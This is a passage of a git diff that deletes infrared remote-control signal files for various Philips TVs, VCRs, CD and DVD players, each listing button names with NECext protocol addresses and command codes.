-command: 06 00 00 00 -# -name: S_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: S_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: S_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: S_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: S_1- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: CP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: S_CP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: S_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: S_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: S_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: S_VOLUME_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: S_VOLUME_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: BRIGHTNESS_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: S_BRIGHTNESS_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: BRIGHTNESS_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: S_BRIGHTNESS_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 13 00 00 00 -# -name: CONTRAST_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: S_CONTRAST_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: CONTRAST_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: S_CONTRAST_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: S_BASS_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: BASS_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: S_BASS_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: TREBLE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: S_TREBLE_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: S_TREBLE_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: S_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: S_BALANCE_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: TT_OUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: S_TT_OUT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: TT_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: S_TT_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: I-II -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: S_I-II -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: S_STEREO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: TT_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: S_TT_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: TT_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: S_TT_TIME -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: TT_UPDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: S_TT_UPDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: TT_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: S_TT_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: TT_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: S_TT_X -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: TT_MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: S_TT_MIX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: FAST_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: S_REVERSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: S_TELETEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: S_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir deleted file mode 100644 index 8684581e8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: SOUNDOFF -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: SERV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: FRONT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir deleted file mode 100644 index c669c5cc9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: Mem -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir deleted file mode 100644 index bba5be745..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: x> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: fast-backward -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir deleted file mode 100644 index 30d562e45..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Digit_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: Digit_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: Digit_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: Digit_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: Digit_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: Digit_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: Digit_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: Digit_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: Digit_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: Digit_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: Disc -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir deleted file mode 100644 index 7f936d576..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir deleted file mode 100644 index 1693399f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: highlight -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: wind -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: fade -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir deleted file mode 100644 index beb9f02ad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 21 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 43 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 54 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 70 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 71 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 83 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 84 00 00 00 -# -name: brackets -type: parsed -protocol: NECext -address: 27 00 00 00 -command: AF 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CB 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CC 00 00 00 -# -name: surf -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CD 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 27 00 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir deleted file mode 100644 index 6dcf2cdfc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: Skip_Right -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: Skip_Left -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: Repeat_AB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: Disc_Menu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# 